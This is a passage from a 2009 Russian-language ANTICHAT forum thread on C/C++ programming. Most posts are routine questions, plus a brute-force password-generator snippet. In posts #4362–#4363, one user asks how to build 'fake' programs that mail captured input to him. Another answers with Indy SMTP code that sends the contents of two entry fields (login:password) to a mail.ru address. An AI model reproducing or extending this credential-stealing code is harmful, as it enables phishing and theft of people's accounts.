ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #4361  
Старый 23.11.2009, 19:22
Ra$cal
Постоянный
Регистрация: 16.08.2006
Сообщений: 640
Провел на форуме:
1354067

Репутация: 599


По умолчанию

Цитата:
Сообщение от razb  
Делаешь вложенный цикл, с глубиной вложения равной количеству символов в пассе.
и отправляешь сорец на сайт говнокодру.

Код:
#include <iostream>
#include <string>
#include <vector>
using namespace std;

string passFromCounter(int counter, const vector<string>& letters);

void main()
{
	vector<string> letters;
	letters.push_back("a");
	letters.push_back("b");
	letters.push_back("c");
	letters.push_back("d");
	letters.push_back("e");

	int counter = 0;

	while (counter < 50){
		cout << passFromCounter(counter++, letters) << endl;
	}
	system("pause");
}

string passFromCounter(int counter, const vector<string>& letters){
	int num = letters.size();
	int local_mutation_step = counter;
	string pass;

	do{
		pass = letters.at((local_mutation_step % num)) + pass;
		local_mutation_step = local_mutation_step / num - 1;
	}while(local_mutation_step >= 0);

	return pass;
}
Немножко математики спасают от тупого хардкодирования. Как это работает я уже не раз описывал тут. Как подобрать длину пароля - с 3х до 6ти букв - придумайте сами. Простая арифметика.
 

  #4362  
Старый 23.11.2009, 23:02
ZnikiR
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
Провел на форуме:
798217

Репутация: 44
Отправить сообщение для ZnikiR с помощью ICQ
По умолчанию

Привет.
У мня тут два вопросика.
Недавно заинтересовался двумя вещами.
Глушилками на hosts,и программа фейками,хотел бы спросить (не отрицаю того,что тема где-то подымалась,но я ничего стоящего не нашел)
1)на чем обычно такое пишется.
2)как организуется отправка введеных данных с фейк программы например ко мне на почту?
3)сильно ли палиться это ативирусами?
4)где об этом можно найти качественную инфу?

спасибо за внимание.
 

  #4363  
Старый 24.11.2009, 11:16
Romik001
Познающий
Регистрация: 18.07.2009
Сообщений: 66
Провел на форуме:
464381

Репутация: 10
По умолчанию

ZnikiR
Держи пример кароч на С++:

кидаешь на форму два компонента: idSMTP и idMessage
вот те примерный код:

IdMessage1->CharSet = "windows1251"; // на шестом билдере понта ноль от этого конечно, а вот на делфи робит отлично, соль в том что если символы русские то приходит ??? это из-за версии инди
IdMessage1->ContentTransferEncoding = "8bit";
IdMessage1->ContentType = "text/plain";

IdMessage1->Recipients->EMailAddresses = "bla_bla@mail.ru";
IdMessage1->Subject = "tema";
IdMessage1->Body->Text = Edit1->Text+':'+Edit2->Text; //текст мессаги, самый гемор для мну был)

IdMessage1->From->Name = "ot menya";
IdMessage1->From->Address = "bla_bla@mail.ru";

IdSMTP1->Host = "smtp.mail.ru";
IdSMTP1->Port = 25; //стандартный порт
IdSMTP1->UserId = "тут_логин_для_входа_в_почту ";
IdSMTP1->Password = "тут_пароль_на_вход";
IdSMTP1->AuthenticationType = atLogin; //говорим что нужна авторизация

IdSMTP1->Connect(); // коннект собсно
IdSMTP1->Send(IdMessage1);
IdSMTP1->Disconnect(); //дисконнект =)

вот собсно код фэйка для отправки на почту. надеюсь на + к репе =)

p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?

Последний раз редактировалось Romik001; 24.11.2009 в 11:29..
 

  #4364  
Старый 24.11.2009, 21:49
POS_troi
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме:
3718311

Репутация: 1118


Отправить сообщение для POS_troi с помощью ICQ
По умолчанию

Среда разработки MSVC 2008 (NET 3.5)

Дано PictureBox + ресурс IDB_Picture_101 (точечный рисунок)

Как правильно подгрузить картинку из ресурсов?
 

  #4365  
Старый 24.11.2009, 23:58
Большой джо
Познающий
Регистрация: 28.06.2009
Сообщений: 56
Провел на форуме:
175879

Репутация: 3
По умолчанию

Такой вопрос, как установить DirectX SDK на Code::Blocks?)
 

  #4366  
Старый 25.11.2009, 00:47
ZnikiR
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
Провел на форуме:
798217

Репутация: 44
Отправить сообщение для ZnikiR с помощью ICQ
По умолчанию

Цитата:
Сообщение от Romik001  
ZnikiR
Держи пример кароч на С++:

***************

p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?
Я так понимаю,что такие программы лучше всего на делфи писать?
Или нет?
 

  #4367  
Старый 25.11.2009, 10:25
POS_troi
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме:
3718311

Репутация: 1118


Отправить сообщение для POS_troi с помощью ICQ
По умолчанию

Цитата:
Я так понимаю,что такие программы лучше всего на делфи писать?
#include <curl/curl.h>
 

  #4368  
Старый 26.11.2009, 00:54
NetSter
студент
Регистрация: 30.07.2007
Сообщений: 800
Провел на форуме:
4275992

Репутация: 1188


По умолчанию

Для тех кто захочет заняться садомазо (как сейчас я))) и захочет написать в Visual Studio 2008 (C++) - чтоб не протрахались так как я в поисках нужных либ и инклудов, которых в студии нет.
http://dump.ru/file/3831023
в архиве
GLAUX.LIB
glaux.h

лить соответственно

C:\Program Files\Microsoft Visual Studio 9.0\VC\lib
C:\Program Files\Microsoft Visual Studio 9.0\VC\include

надеюсь хоть кому то сэкономит время)
 

  #4369  
Старый 26.11.2009, 00:57
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Как проверить, существует ли пользователь (тот, под которым логинится в винду) в C++?
 

  #4370  
Старый 26.11.2009, 01:40
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

Цитата:
Сообщение от mailbrush  
Как проверить, существует ли пользователь (тот, под которым логинится в винду) в C++?
вот код на С, выводящий список учетных записей windows.
Код:
#include <stdio.h>
#include <windows.h>
#include <lm.h>

void print_users(void)
{
    unsigned long  i, dwERead, dwETotal, dwRes, res;
    char* p;
    PUSER_INFO_10 info;
    
    info = NULL;
    dwRes = 0;
    res = NetUserEnum(
	NULL,
            10,
            FILTER_NORMAL_ACCOUNT,
            (LPBYTE*) &info,
            MAX_PREFERRED_LENGTH,
            &dwERead,
            &dwETotal,
            &dwRes
	);
    
    if((res)||(!info))
    {
        fprintf(stderr, "NetUserEnum failedn");
        return;
    }
    p = (char*)info;
    for(i=0; i<dwERead; i++)
    {
        info = (PUSER_INFO_10)(p + i*sizeof(USER_INFO_10));
		printf("%ls\r\n", info->usri10_name);
        
        
    }
    NetApiBufferFree(info);
    return;
} 

int main(void)
{
	print_users();
	return 0;
}
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ